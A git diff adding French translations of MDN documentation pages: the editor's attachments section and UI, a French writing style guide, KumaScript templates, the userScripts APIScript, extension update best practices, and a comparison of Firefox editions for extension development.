diff --git a/files/fr/orphaned/mdn/editor/basics/attachments/index.html b/files/fr/orphaned/mdn/editor/basics/attachments/index.html new file mode 100644 index 0000000000..ad2c850716 --- /dev/null +++ b/files/fr/orphaned/mdn/editor/basics/attachments/index.html @@ -0,0 +1,74 @@ +--- +title: Les pièces jointes dans l’éditeur MDN +slug: MDN/Editor/Basics/Pieces_jointes +tags: + - Débutant + - Guide +translation_of: MDN/Editor/Basics/Attachments +--- +
{{MDNSidebar}}
+ +

La section « Pièces jointes » de l’éditeur MDN vous permet de déposer des fichiers sur MDN pour les utiliser dans le contenu MDN, ainsi que visualiser quels fichiers sont utilisés dans le document en cours.

+ +
+

Cette section n’est visible (en bas de page) uniquement si vous avez les permissions requises pour adjoindre des fichiers aux pages. Les utilisateurs n’obtiennent pas cette permission par défaut, donc si vous en avez besoin prenez contact avec les administrateurs MDN pour demander (en anglais) cette permission.

+
+ +

La section « Pièces jointes » n’est de plus visible que lors de l’édition d’un article existant. Elle n’apparaît pas dans l’éditeur pour un nouvel article.

+ +

Démarche pour les pièces jointes

+ +

La façon dont fonctionne le dépôt de fichiers a pour effet de rafraîchir la page à chaque dépôt. Si vous avez réalisé des modifications non sauvegardées à ce moment-là, elles pourront être perdues. C’est donc une bonne idée de sauvegarder vos modifications en cours préalablement au dépôt de fichiers.

+ +

Une bonne démarche est donc la suivante :

+ +
    +
  1. Faites vos modifications, en insérant des textes bouche-trous aux emplacements où vous voulez insérer des images ;
    2. +
  2. Sauvegardez vos modifications ;
    3. +
  3. Adjoindre vos images ;
    4. +
  4. Insérez les images à la place des bouche-trous ;
    5. +
  5. Sauvegardez votre travail à nouveau par sécurité.
    6. +
+ +

Si vous avez des modifications non publiées quand vous déposez une pièce jointe, elles peuvent avoir été sauvegardées comme brouillon, que vous pouvez récupérer en cliquant sur le lien Restore draft / Récupérer le brouillon en haut de la zone d’édition. Ou vous pouvez activer Publish and Keep Editing / Publier et poursuivre l’édition avant de déposer une pièce jointe. Elles peuvent être perdues si vous les laissez en suspens trop longtemps ou si vous oubliez de les récupérer d’une façon ou d’une autre, nous vous recommandons donc la démarche ci-dessus.

+ +

L’IU « Pièces jointes »

+ +

Pour adjoindre une pièce jointe à une page, activez par clic ou clavier le bouton Envoyer des fichiers ; cette action a pour effet de déployer la section de dépôt de fichier qui ressemble à :

+ +

Section « Pièces jointes » déployée après appui du bouton « Envoyer des fichiers », vide. Disposition en tableau avec des colonnes Fichier, Titre, Description, Commentaires avec champs correspondants, vides. Suivi d’un bouton Upload / Dépôt.

+ +

Comme vous pouvez le voir, cette section se présente sous forme d’un tableau qui vous permet de sélectionner un fichier puis lui donner un intitulé, et éventuellement fournir une description et un commentaire éditorial. Quand les champs sont remplis et que vous avez sélectionné votre fichier, activez par clic ou clavier le bouton Upload / Déposer pour l’envoyer sur MDN.

+ +

Le cas d’utilisation le plus commun pour les pièces jointes est d’ajouter des images à des pages. Quand vous déposez une image, assurez-vous s’il vous plaît d’utiliser un outil d’optimisation pour rendre le fichier le plus léger à télécharger que possible. Cela améliore le temps de chargement de la page et augmente globalement la performance de MDN. Vous pouvez utiliser votre outil préféré, si vous en avez un. Sinon nous vous suggérons d’utiliser TinyPNG, en tant qu’outil convivial.

+ +
+

Seule une sélection de formats de fichiers est autorisée comme pièces jointes sur MDN : GIF, JPEG, PNG, et HTML. Les images Photoshop sont autorisées mais devraient être évitées à part dans des cas très particuliers. Tout autre format de fichier est interdit par le formulaire de dépôt. Déposer des fichiers SVG nécessite une autorisation particulière, par conséquent contactez l’équipe rédactionnelle MDN (en anglais) si vous avez besoin de déposer un fichier SVG.

+
+ +

Sentez-vous libre d’ouvrir cette page-ci dans l’éditeur et d’aller jeter un coup d’œil en bas de page à sa liste de pièces jointes pour vous faire une idée.

+ +

Une fois qu’un fichier a été joint, il apparaîtra (par le titre que vous lui avez affecté dans le formulaire de dépôt) dans la boite de dialogue Propriétés de l’image quand vous ajoutez une image à une page. Voir la page MDN Images (en anglais) pour les détails de cette interface.

+ +

Restrictions d’accès

+ +

Il y a un potentiel évident de vandalisme et de pollution en déposant des images qui ne relèvent pas de MDN Web Docs, et par conséquent cet outil n’est pas disponible pour tous les utilisateurs.

+ +

Rôles qui possède cette capacité

+ + + +

Conditions pour obtenir cette capacité

+ +

Vous pouvez obtenir un accès à cet outil si vous réunissez ces conditions :

+ +
    +
  • Vous en avez un besoin récurrent (p. ex. si vous êtes en train de travailler activement sur un ensemble de pages qui ont besoin d’images en pièces jointes). Si vous n’avez qu’un besoin ponctuel, demandez à un administrateur de réaliser l’opération pour vous ;
    • +
  • Vous modifiez MDN régulièrement, et vous avez un palmarès de contributions utiles.
    • +
+ +

Voir Demander une élévation de droits (en) pour le processus d’attribution de cette capacité.

diff --git a/files/fr/orphaned/mdn/editor/basics/index.html b/files/fr/orphaned/mdn/editor/basics/index.html new file mode 100644 index 0000000000..4fda34d601 --- /dev/null +++ b/files/fr/orphaned/mdn/editor/basics/index.html @@ -0,0 +1,74 @@ +--- +title: Editor UI elements +slug: MDN/Editor/Basics +tags: + - Beginner + - Documentation + - Guide + - MDN + - MDN Meta + - NeedsTranslation + - TopicStub + - editor +translation_of: MDN/Editor/Basics +--- +
{{MDNSidebar}}
+ +

L'éditeur WYSIWYG intégré sur MDN est conçu pour rendre aussi facile que possible la création, la modification et l'amélioration d'articles et d'autres pages presque partout sur le site. La fenêtre de l'éditeur, illustrée ci-dessous, se compose de huit zones clés. Ce guide fournit des informations sur chaque section afin que vous sachiez comment utiliser l'ensemble de notre environnement d'édition.

+ +
+

Nous travaillons constamment sur des améliorations à MDN, il y aura donc des moments où cette documentation ou les captures d'écran ci-dessous peuvent être légèrement obsolètes. Cependant, nous mettrons régulièrement à jour cette documentation pour éviter qu'elle ne soit anormalement en retard.

+
+ +

Screenshot of the editor UI (August 2017) with each section labeled

+ +

L'interface utilisateur de l'éditeur contient les sections suivantes, comme indiqué ci-dessus. Cliquez sur un lien ci-dessous pour en savoir plus sur cette section de l'éditeur.

+ + + +

Edit box

+ +

The edit box is, of course, where you actually do your writing.

+ +

Right-clicking in the editor box offers appropriate additional options depending on the context of your click: right-clicking in a table offers table-related options and right-clicking in a list offers list-related options, for example. By default, the editor uses its own contextual menu when you right-click on the editor. To access your browser's default contextual menu (such as to access the Firefox spell checker's list of suggested corrections), hold down the Shift or Control key (the Command key on Mac OS X) while clicking.

+ +

When working in the edit box, you can use its keyboard shortcuts.

+ +

Revision comment

+ +

After you've made your changes, it's strongly recommended you add a comment to your revision. This is displayed in the revision history for the page, as well as on the Revision Dashboard. It helps to explain or justify your changes to others that may review your work later. To add a revision comment, simply type the note into the revision comment box before clicking either of the Publish buttons at the top or bottom of the page.

+ +

There are a few reasons this is helpful:

+ +
    +
  • If the reason for your change isn't obvious, your note can explain the reasoning to others.
    • +
  • If your change is technically complex, it can explain to editors the logic behind it; this can include a bug number, for example, that editors can refer to for more information.
    • +
  • If your edit involves deleting a large amount of content, you can justify the deletion (for example, "I moved this content to article X").
    • +
+ +

Review requests

+ +

The MDN community uses reviews to try to monitor and improve the quality of MDN's content. This works by setting a flag on an article indicating that a review is needed. You can learn more about technical reviews and editorial review in the How to guides.

+ +

To request a review on the article you've worked on, toggle on the checkbox next to the type of review that's needed. Technical reviews should be requested any time you make changes to the explanation of how something technical works, while editorial reviews are a good idea when you've made changes and would like someone to review your writing and style choices.

+ +

While selecting a review checkbox adds the article to the lists of those needing technical review or needing editorial review, it does not guarantee that anyone will immediately review the article. For technical reviews, it's a good idea to directly contact a subject-matter expert in the relevant technical area. For editorial reviews, you can post in the MDN discussion forum to request that someone review your changes.

+ +

Be sure to click one of the Publish buttons after making your selections, to commit your review request.

+ +

Voir aussi

+ + + + diff --git a/files/fr/orphaned/mdn/editor/index.html b/files/fr/orphaned/mdn/editor/index.html new file mode 100644 index 0000000000..89f9382092 --- /dev/null +++ b/files/fr/orphaned/mdn/editor/index.html @@ -0,0 +1,226 @@ +--- +title: Guide du rédacteur +slug: MDN/Editor +tags: + - Projet_MDC +translation_of: MDN/Editor +--- +

{{MDNSidebar}}

+ +

Ce guide du rédacteur est une référence de style pour le Mozilla Developer Center. Il est conçu pour être un ensemble sympathique de bonnes pratiques plutôt qu’une liste de règles stricte, tout ce qui s’y trouve peut donc être ignoré. Ne soyez pas mécontent ou surpris, par contre, si un autre contributeur arrive par la suite avec ses gros sabots et retravaille votre article pour s’y conformer de plus près.

+ +

Naturellement, ce guide s’applique principalement à la traduction française du wiki MDC en anglais. Les traductions dans les autres langues peuvent (et sont encouragées à) avoir leurs propres règles.

+ +

Guides de style recommandés

+ +

Si vous avez des questions concernant l’usage et le style non traitées ici, nous recommandons la consultation du Guide stylistique de Sun. Vous trouverez d’autres guides sur la page qui leur est consacrée sur traduc.org.

+ +

Dictionnaires recommandés

+ +

Pour des questions d’orthographe, outre les dictionnaires papier classiques, vous pouvez vous référer au Grand dictionnaire terminologique de l’OQLF pour les termes techniques, et WordReference pour les autres mots.

+ +

Vous pouvez utiliser l’ancienne ou la nouvelle orthographe, mais essayez de garder la même au sein du même article (ou de la même série d’articles). Utilisez par exemple « évènement » dans la Référence du DOM Gecko. Utilisez toujours des accents sur les majuscules, un mauvais clavier n’est pas une excuse (le correcteur orthographique intégré à Firefox pourra vous y aider).

+ +

Ce guide sera complété au cours du temps, si vous avez des questions particulières qui n’y sont pas traitées, envoyez-les à la liste de discussion ou sur la page de discussion associée à ce guide.

+ +

Nommage des pages et capitalisation des titres

+ +
    +
  • Les noms de page et de section doivent simplement commencer par une majuscule (au premier mot et sur les noms propres) plutôt que de mettre une majuscule à chaque mot : +
      +
    • Correct : « Une nouvelle méthode pour les rollovers JavaScript »
      • +
    • Incorrect : « Une Nouvelle Méthode pour les Rollovers JavaScript »
      • +
    +
    • +
+ +

Abréviations latines

+ +

Dans les notes et parenthèses

+ +
    +
  • Seule l’abréviation et cætera (etc.) doit être utilisée dans les parenthèses et dans les notes. Elle doit toujours se terminer par un seul point. N’utilisez pas les autres abréviations latines (i.e., e.g.) qui ne sont pas comprises par tout le monde ou pas toujours identifiée comme d’origine latine. Utilisez plutôt « comme », « par exemple », « c.-à-d. ». + +
      +
    • Correct : Les applications Gecko (Firefox, Thunderbird, etc.) peuvent être utilisées …
      • +
    • Incorrect : Les applications Gecko (Firefox, Thunderbird, etc…) peuvent être utilisées …
      • +
    • Correct : Les navigateurs Gecko (comme Firefox) peuvent être utilisés …
      • +
    • Incorrect : Les navigateurs Gecko (e.g. Firefox) peuvent être utilisés …
      • +
    +
    • +
+ +

Dans le texte principal

+ +
    +
  • Dans le texte principal (c.-à-d. en dehors des notes et des parenthèses, utilisez un équivalent français complet de ce que désignent ces abréviations. +
      +
    • Correct : … pour les navigateurs et d’autres applications.
      • +
    • Incorrect : … pour les navigateurs, etc.
      • +
    • Correct : les navigateurs comme Firefox peuvent être utilisés …
      • +
    • Incorrect : les navigateurs e.g. Firefox peuvent être utilisés …
      • +
    +
    • +
+ +

Signification et équivalents des abréviations latines

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Abrév.LatinFrançais
cf.confervoir
e.g.exempli gratiapar exemple
et al.et aliiet autres
etc.et cæteraet ainsi de suite
i.e.id estc.-à-d., c’est-à-dire, en d’autres mots
N.B.nota beneNotez que…
P.S.post scriptumécrit après
+ +

N.B. Beaucoup de gens confondent « e.g. » avec « i.e. », ne les utilisez donc pas en français.

+ +

Acronymes et abréviations

+ +

Majuscules et points

+ +
    +
  • Utilisez des capitales et ne mettez pas les points pour tous les acronymes et abréviations, donc les organisations comme l’ONU. +
      +
    • Correct : XUL
      • +
    • Incorrect : X.U.L. ; Xul
      • +
    +
    • +
+ +

Expansion

+ +
    +
  • À la première mention d’un terme sur une page, introduisez son expansion entre parenthèses, puis sa traduction en français. +
      +
    • Correct : « XUL (XML User Interface Language) est le langage XML d’interface utilisateur de Mozilla… »
      • +
    • Incorrect : « XUL est le langage XML d’interface utilisateur de Mozilla… »
      • +
    +
    • +
+ +
Exceptions
+ +
    +
  • Ne dépliez les acronymes que s’ils ne sont pas supposés familiers du lecteur. En cas de doute, faites l’expansion ou, mieux, faites un lien vers l’article décrivant la technologie.
    • +
+ +

Pluriels d'acronymes ou d'abréviations

+ +
    +
  • N’ajoutez aucun s pour accorder un acronyme ou une abréviation au pluriel (à moins qu’elle soit lexicalisée en un nom commun connu et défini dans les dictionnaires usuels, le plus souvent avec une orthographe modifiée où s’insèrent des voyelles supplémentaires prononçables et transcrites, et qui peut alors être écrit entièrement en minuscules et s’accorder normalement, mais le plus souvent cet usage n’est pas clairement établi et cette transcription est à éviter s’il ne s’agit que d’une transcription phonétique lettre par lettre de l’abréviation et sans racines étymologiques). + +
      +
    • Correct : des CD-ROM
      • +
    • Éviter : des cédéroms
      • +
    • Incorrect : des CD-ROMs
      • +
    • Incorrect : des CD-ROM's
      • +
    +
    • +
+ +

Pluriels

+ +
    +
  • Utilisez les pluriels francisés, pas les formes héritées ou influencées par le latin ou le grec, et conservez au pluriel les accents de francisation. +
      +
    • Correct : des syllabus, des scénarios, des alinéas, des folios
      • +
    • Incorrect : des syllabi, des scénarii, des alinéæ, des folii
      • +
    +
    • +
+ +

Nombres

+ +

Dates

+ +
    +
  • Pour les dates (n’incluant pas les dates dans les codes d’exemples) utilisez le format : 1er janvier 1990. +
      +
    • Correct : 24 février 2006
      • +
    • Incorrect : 24 Février 2006 ; 24/02/2006
      • +
    +
    • +
+ +
    +
  • Vous pouvez également utiliser le format ISO AAAA-MM-JJ. +
      +
    • Correct : 2006-02-24
      • +
    • Incorrect : 02/24/2006 ; 24/02/2006 ; 02/24/06
      • +
    +
    • +
+ +

Séparateurs de milliers et virgules

+ +
    +
  • Utilisez des espaces pour séparer les milliers de plus de quatre chiffres et non des points ou des virgules. +
      +
    • Correct : 4000 ; 54 000
      • +
    • Incorrect : 4,000 ; 4 000 ; 54000
      • +
    +
    • +
  • Utilisez la virgule pour séparer la partie décimale d’un nombre, sauf dans les exemples de code.
    • +
+ +

Ponctuation

+ +

Espaces et ponctuation

+ +
    +
  • Utilisez une espace (de préférence insécable) avant les signes de ponctuation haute (« : », « ; », « ! », « ? »), ainsi qu’après l’ouverture et avant la fermeture des guillemets français (en chevrons). Idéalement il faudrait une espace fine (&thinsp;) et de préférence insécable (&nnbsp; ou &#x202F;) mais celles-ci ne s’affichent pas correctement sur tous les systèmes.
    • +
  • Ne mettez aucune espace avant une virgule ou un point, ni avant la fermeture des parenthèses, crochets ou accolades, mais après. Faites le contraire pour l’ouverture des parenthèses, crochets ou accolades.
    • +
+ +

Virgules et énumérations

+ +
    +
  • N'utilisez pas de virgule avant un « et » en fin d'énumération. +
      +
    • Correct : Nous utiliserons des trains, des avions et des automobiles.
      • +
    • Incorrect : Nous utiliserons des trains, des avions, et des automobiles.
      • +
    +
    • +
+ +

Autres ressources

+ +

Si vous connaissez d’autres ressources, n’hésitez pas à les ajouter ici.

diff --git a/files/fr/orphaned/mdn/tools/template_editing/index.html b/files/fr/orphaned/mdn/tools/template_editing/index.html new file mode 100644 index 0000000000..3f56b7d1f9 --- /dev/null +++ b/files/fr/orphaned/mdn/tools/template_editing/index.html @@ -0,0 +1,15 @@ +--- +title: Template editing +slug: MDN/Tools/Template_editing +tags: + - Guide + - MDN + - MDN Meta + - Outils +translation_of: MDN/Tools/Template_editing +--- +
{{MDNSidebar}}
+ +

Sur MDN, les modèles écrits en KumaScript sont utilisées pour automatiser la génération de contenu et la personnalisation au sein des pages. Chaque modèle est un fichier séparé dans le dossier des macros du dépôt Github de KumaScript.

+ +

Toute personne éditant les pages wiki de MDN peut invoquer des modèles via des macros sur les articles MDN. Chacun peut créer et éditer des modèles via le dépôt Github de KumaScript en utilisant les pratiques normées du logiciel libre (copier le dépôt, créer une branche, faire ses changements, et soumettre une requête de publication à la relecture).Notez que soumettre une requête de publication est courrament le seul moyen de mettre à jour les chaînes traduites dans les modèles qui les contiennent.

diff --git a/files/fr/orphaned/mozilla/add-ons/webextensions/api/userscripts/apiscript/index.html b/files/fr/orphaned/mozilla/add-ons/webextensions/api/userscripts/apiscript/index.html new file mode 100644 index 0000000000..1af1fed65e --- /dev/null +++ b/files/fr/orphaned/mozilla/add-ons/webextensions/api/userscripts/apiscript/index.html @@ -0,0 +1,43 @@ +--- +title: APIScript +slug: Mozilla/Add-ons/WebExtensions/API/userScripts/APIScript +tags: + - APIScript + - Add-ons + - Custimisation + - Extensions + - Firefox + - Reference + - WebExtensions + - userScripts +translation_of: Mozilla/Add-ons/WebExtensions/API/userScripts/APIScript +--- +

{{AddOnSidebar}}

+ +

L'APIScript userScripts est un type spécial d'extension Content Script.

+ +

Comme un script de contenu d'extension régulier :

+ +
    +
  • Il s'exécute dans les processus de contenu..
    • +
  • Il a accès à la fenêtre et aux globes de documents relatifs à la page Web à laquelle il est attaché.
    • +
  • Il a accès au même sous-ensemble d'API WebExtension généralement disponibles dans un script de contenu.
    • +
+ +

Contrairement à une extension régulière Content Script :

+ +
    +
  • Il doit être déclaré dans le manifeste en utilisant la propriété user_scripts.api_script.
    • +
+ +
manifest.json
+{
+  ...
+  "user_scripts": {
+     "api_script": "apiscript.js"
+  }
+}
+ +

Il est exécuté automatiquement sur n'importe quelle page Web correspondant à userScript enregistrée par la même extension, avant qu'un userScript correspondant ne soit exécuté.

+ +

Il a accès à l'API Event browser.userScripts.onBeforeScript que l'APIScript peut utiliser pour inscrire un auditeur à appeler juste avant qu'un userScript correspondant soit exécuté, ce qui permet à l'APIScript d'exporter un ensemble de méthodes API personnalisées pour le rendre disponible à l'userScript.

diff --git a/files/fr/orphaned/mozilla/add-ons/webextensions/best_practices_for_updating_your_extension/index.html b/files/fr/orphaned/mozilla/add-ons/webextensions/best_practices_for_updating_your_extension/index.html new file mode 100644 index 0000000000..d8bff8eccc --- /dev/null +++ b/files/fr/orphaned/mozilla/add-ons/webextensions/best_practices_for_updating_your_extension/index.html @@ -0,0 +1,31 @@ +--- +title: Bonnes pratiques pour la mise à jour de votre extension +slug: >- + Mozilla/Add-ons/WebExtensions/bonnes_pratiques_pour_la_mise_a_jour_de_votre_extension +tags: + - Add-ons + - Extensions + - Guide + - WebExtensions +translation_of: Mozilla/Add-ons/WebExtensions/Best_practices_for_updating_your_extension +--- +

{{AddonSidebar}}

+ +

Presque toutes les extensions doivent être mises à jour de temps en temps, que ce soit pour corriger des bugs ou ajouter de nouvelles fonctionnalités. La mise à jour de votre extension vaut la peine d'être planifiée méthodiquement, non seulement pour assurer la qualité des changements, mais aussi pour maximiser les possibilités d'engagement ou de réengagement avec votre public.

+ +

Pour vous aider à fournir les mises à jour les plus productives, voici quelques conseils de la communauté des développeurs d'extensions Firefox :

+ +
    +
  • Créez une feuille de route des fonctionnalités que vous souhaitez ajouter à votre extension, en n'oubliant pas de la mettre à jour en fonction des commentaires des utilisateurs. Prévoyez également la sortie de nouvelles versions de navigateurs, pour confirmer que rien ne casse votre extension et pour profiter des nouvelles fonctionnalités. Si vous voulez rendre votre feuille de route publique, ne soyez pas trop précis quant aux dates de livraison, car le non-respect des délais pourrait réduire la confiance des utilisateurs dans votre extension.
    • +
  • Effectuez des mises à jour selon un cycle régulier, mensuel ou trimestriel, à moins que vous n'ayez besoin de corriger un bogue critique. Les utilisateurs peuvent trouver des mises à jour plus fréquentes (par exemple quotidiennes ou même hebdomadaires), en particulier celles qui affectent les fonctionnalités, les fonctions, le comportement ou l'apparence de l'extension, trop perturbatrices. Le maintien d'un cycle de mise à jour régulier peut aider à maintenir l'engagement des utilisateurs.
    • +
  • En plus de tester la version actuelle de Firefox, testez votre extension dans les versions Firefox Nightly et Beta pour vous assurer qu'aucun changement ne risque d'affecter votre extension.
    • +
  • Inclure une page d'intégration qui décrit les améliorations et les changements inclus dans la mise à niveau - ne pas simplement dire "corrections de bogues et améliorations". Pour plus d'informations, voir Bonnes pratiques pour les utilisateurs d'embarquement, d'embarquement et de débarquement.
    • +
  • Évitez de déplacer les fonctions "gratuites" derrière un mur payant, car la réaction des utilisateurs est susceptible d'être négative. (L'ajout de nouvelles fonctions payantes n'est généralement pas problématique. Cependant, l'ajout de fonctions payantes à une extension gratuite doit être manipulé avec précaution, pour éviter de donner l'impression que l'extension dans son ensemble doit maintenant être payée). Pour plus de détails, voir Gagnez de l'argent avec les extensions de navigateur.
    • +
  • Évitez de supprimer brusquement des fonctionnalités, pensez à prévoir une période d'obsolescence d'au moins un cycle de mise à niveau, en particulier lorsque vous n'avez pas de mesures pour l'utilisation de cette fonctionnalité. Le fait de prévoir une période d'amortissement permet aux utilisateurs de fournir une rétroaction sur les répercussions que vous n'avez peut-être pas prévues.
    • +
  • Fournir des instructions guidées pour les fonctions remplacées, telles que la conservation des anciens éléments de menu qui fournissent ensuite un message guidant l'utilisateur vers la nouvelle fonction.
    • +
  • Fournir une combinaison appropriée de corrections de bogues et de fonctionnalités nouvelles ou améliorées dans une mise à niveau. Les utilisateurs qui sont gênés par un bogue peuvent réagir négativement si vos mises à niveau ne semblent pas corriger les bogues. Cependant, si vous avez plusieurs correctifs techniques à apporter qui ont peu ou pas d'impact sur l'utilisateur, vous pouvez envisager de les inclure dans une version séparée, silencieuse (pas de page d'upboarding).
    • +
  • N'oubliez pas de mettre à jour la page de l'AMO de votre extension. Inclure vos notes de version dans la section dédiée. Mettez à jour la description pour couvrir les nouvelles fonctionnalités, remplacez ou ajoutez des captures d'écran, et pensez à modifier l'icône de votre extension pour mettre en évidence les modifications que vous avez apportées.
    • +
  • Inclure des nouvelles sur la mise à jour dans vos canaux tels que le site Web, les médias sociaux, les groupes d'utilisateurs, etc.
    • +
  • Après la publication de votre mise à jour, surveillez les évaluations et les commentaires, la rétroaction et les canaux de soutien pour vous assurer qu'il n'y a pas de réponses inattendues qui suggèrent des erreurs dans vos changements ou que les changements ne fonctionnent pas comme prévu.
    • +
  • Commencez à planifier votre prochaine mise à niveau !
    • +
diff --git a/files/fr/orphaned/mozilla/add-ons/webextensions/choose_a_firefox_version_for_web_extension_develop/index.html b/files/fr/orphaned/mozilla/add-ons/webextensions/choose_a_firefox_version_for_web_extension_develop/index.html new file mode 100644 index 0000000000..69d23ee3ba --- /dev/null +++ b/files/fr/orphaned/mozilla/add-ons/webextensions/choose_a_firefox_version_for_web_extension_develop/index.html @@ -0,0 +1,218 @@ +--- +title: Choisissez une version Firefox pour le développement d'extensions web +slug: >- + Mozilla/Add-ons/WebExtensions/choisissez_une_version_firefox_pour_le_developpement_extensions_web +tags: + - Add-ons + - Développement + - Extensions + - Guide + - Outils + - Tools +translation_of: >- + Mozilla/Add-ons/WebExtensions/Choose_a_Firefox_version_for_web_extension_develop +--- +

{{AddonSidebar}}

+ +

Firefox propose plusieurs versions qui offrent différentes capacités pour le développement d'extensions web. Cet article donne un aperçu des différences entre ces versions de Firefox et recommande comment les utiliser dans le cycle de développement.

+ +

Ce tableau résume les informations sur les éditions, les fonctionnalités de développement d'extension et fournit une recommandation pour chaque édition utilisée dans le développement d'extension.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

Edition

+ 		+

Version

+ 		+

Stable

+ 		+

Outils pour le développement de l'extension

+ 		+

Installe les extensions non signées

+ 		+

Utilisation recommandée pour le développement de l'extension

+
+

Release

+ 		+

Courant

+ 		+

Oui

+ 		+

Oui

+ 		+

Non

+ 		+

Tests de régression

+ +

Tests alpha et bêta par l'utilisateur

+
+

Beta

+ 		+

Courant+1

+ 		+

Oui

+ 		+

Oui

+ 		+

Non

+ 		+

Tests de régression

+ +

Tests alpha et bêta par l'utilisateur

+
+

Developer Edition

+ 		+

Courant +1

+ 		+

Oui

+ 		+

Oui

+ 		+

Oui

+ 		+

Développement de l'extension

+
+

Nightly

+ 		+

Courant +2

+ 		+

Non

+ 		+

Oui

+ 		+

Oui

+ 		+

Accès anticipé à la dernière API WebExtension

+
+

ESR

+ 		+

Courant - >1

+ 		+

Oui

+ 		+

Oui

+ 		+

Oui

+ 		+

Développement de la vulgarisation au sein des entreprises

+
+ +

Firefox version and their web extension development capabilities

+ +

Finale

+ +

C'est la version de Firefox que la plupart des gens utilisent, c'est la version offerte quand quelqu'un visite la page principale de téléchargement Firefox.

+ +

Vous chargez les extensions en cours de développement dans cette version de Firefox en utilisant about:debugging ou web-ext et avez accès à la fenêtre de débogage de l'addon.  Cependant, vous ne pouvez pas installer des extensions non signées, ce qui limite votre capacité à tester des fonctionnalités telles que le comportement de redémarrage, les invites d'autorisation et les mises à niveau.

+ +

Le développement d'extensions pour Firefox pour Android est entièrement supporté.

+ +

Utilisation suggérée pour le développement : Vous pouvez installer et tester une copie signée de votre extension dans la version de publication pour effectuer un test de régression final. Vous pouvez également distribuer des copies signées de votre extension à d'autres personnes pour les aider à effectuer des tests alpha ou bêta.

+ +

Téléchargement

+ +

Béta

+ +

Cette version de Firefox est généralement utilisée par les personnes intéressées à profiter des fonctionnalités de la prochaine version de Firefox.

+ +

Vous chargez les extensions en cours de développement dans cette version de Firefox en utilisant about:debugging ou web-ext et avez accès à la fenêtre de débogage de l'addon.  Cependant, vous ne pouvez pas installer des extensions non signées, ce qui limite votre capacité à tester des fonctionnalités telles que le comportement de redémarrage, les invites d'autorisation et les mises à niveau.

+ +

Le développement d'extensions pour Firefox pour Android est entièrement supporté.

+ +

Utilisation suggérée pour le développement : Vous pouvez installer et tester une copie signée de votre extension dans Beta pour effectuer un test de régression. De tels tests vous donneront une certaine certitude que votre extension continuera à fonctionner correctement dans la prochaine version de Firefox. Vous pouvez également distribuer des copies signées de votre extension à d'autres personnes pour les aider à effectuer des tests alpha ou bêta.

+ +

Téléchargement

+ +

Edition développeur

+ +

Cette version de Firefox est basée sur la version bêta de Firefox avec des fonctionnalités supplémentaires conçues pour aider au développement du Web et des extensions Web.

+ +

Vous chargez les extensions en cours de développement dans cette version de Firefox en utilisant about:debugging ou web-ext et avez accès à la fenêtre de débogage de l'addon. Vous pouvez également installer des extensions non signées, après avoir ajusté ou paramétré certaines propriétés de about:config (généralement moins de changements que nécessaire pour réaliser les mêmes tâches dans Nightly). Cela vous permet de tester des fonctionnalités telles que le comportement de redémarrage, les invites d'autorisation et les mises à niveau.

+ +

Le développement d'extensions pour Firefox pour Android est entièrement supporté.

+ +

Utilisation suggérée pour le développement : Utilisez Developer Edition comme votre principale plate-forme de développement et de test d'extensions web.

+ +

Téléchargement

+ +

Nightly

+ +

Cette version de Firefox fournit une version qui est mise à jour tous les soirs avec les dernières fonctionnalités de développement pour la future version de Firefox. Il est généralement utilisé par les personnes intéressées à découvrir les toutes dernières fonctionnalités et à donner leur avis lorsqu'elles rencontrent des problèmes.

+ +

Vous chargez les extensions en cours de développement dans cette version de Firefox en utilisant about:debugging our web-ext et avez accès à la fenêtre de débogage de l'addon. Vous pouvez également installer des extensions non signées, après avoir ajusté ou configuré certaines propriétés de about:config. Cela vous permet de tester des fonctionnalités telles que le comportement de redémarrage, les invites d'autorisation et les mises à niveau.

+ +

Le développement d'extensions pour Firefox pour Android est entièrement supporté.

+ +

Utilisation suggérée pour le développement : Nightly fournit un aperçu des futures fonctionnalités de Firefox, y compris les API WebExtension, qui sont en cours de développement. La stabilité des fonctionnalités n'est pas garantie, par conséquent, Nightly n'est pas recommandé comme plateforme de développement d'extension web principale. Vous pouvez, cependant, utiliser Nightly là où vous voulez profiter des fonctionnalités à venir ou tester pour vous donner la plus longue vue d'ensemble de la compatibilité de votre extension avec Firefox.

+ +

Download

+ +

ESR

+ +

La version ESR (Extended Support Release) de Firefox offre des fonctionnalités permettant aux professionnels informatiques de configurer et de déployer Firefox dans leur organisation. Il fournit également aux entreprises une version de Firefox stable du point de vue des fonctionnalités pour une durée plus longue que celle du cycle de version normal. Ainsi, au moment d'écrire ces lignes, la version de sortie de Firefox était de 65 (avec Beta sur 66 et Nightly sur 67) la version ESR était de 60.

+ +

Vous chargez les extensions en cours de développement dans cette version de Firefox en utilisant about:debugging ou web-ext et avez accès à la fenêtre de débogage de l'addon. Vous pouvez également installer des extensions non signées, après avoir ajusté ou défini certaines propriétés de about:config (cette fonctionnalité est fournie pour que les entreprises puissent installer des extensions qu'elles veulent garder privées et ne veulent pas soumettre à add-ons.mozilla.org pour signature).

+ +

Le développement d'extensions pour Firefox pour Android est entièrement supporté.

+ +

Utilisation suggérée pour le développement : Utilisez ESR comme principale plate-forme de développement et de test d'extensions Web lors du développement d'extensions pour une entreprise et vous souhaitez confirmer que l'ensemble des fonctionnalités de votre extension est compatible avec la version ESR.

+ +

Téléchargement

+ + diff --git a/files/fr/orphaned/mozilla/add-ons/webextensions/comparison_with_the_add-on_sdk/index.html b/files/fr/orphaned/mozilla/add-ons/webextensions/comparison_with_the_add-on_sdk/index.html new file mode 100644 index 0000000000..52ec132d64 --- /dev/null +++ b/files/fr/orphaned/mozilla/add-ons/webextensions/comparison_with_the_add-on_sdk/index.html @@ -0,0 +1,746 @@ +--- +title: Comparaison avec le SDK Add-on +slug: Mozilla/Add-ons/WebExtensions/Comparaison_avec_le_SDK_Add-on +tags: + - Addon SDK + - AddonSDK + - SDK + - WebExtensions + - porting +translation_of: Mozilla/Add-ons/WebExtensions/Comparison_with_the_Add-on_SDK +--- +
{{AddonSidebar}}
+ +

Cet article est une comparaison technique entre les add-ons construits avec le SDK et ceux construits avec la technologie WebExtensions. Il est destiné à aider les personnes maintenant un add-on SDK à le porter vers une WebExtension.

+ +
+

La prise en charge des extensions utilisant XUL/XPCOM ou le SDK Add-on a été supprimée dans Firefox 57, publié en novembre 2017. Comme il n'y a pas de version supportée de Firefox permettant ces technologies, cette page sera supprimée d'ici décembre 2020.

+
+ +

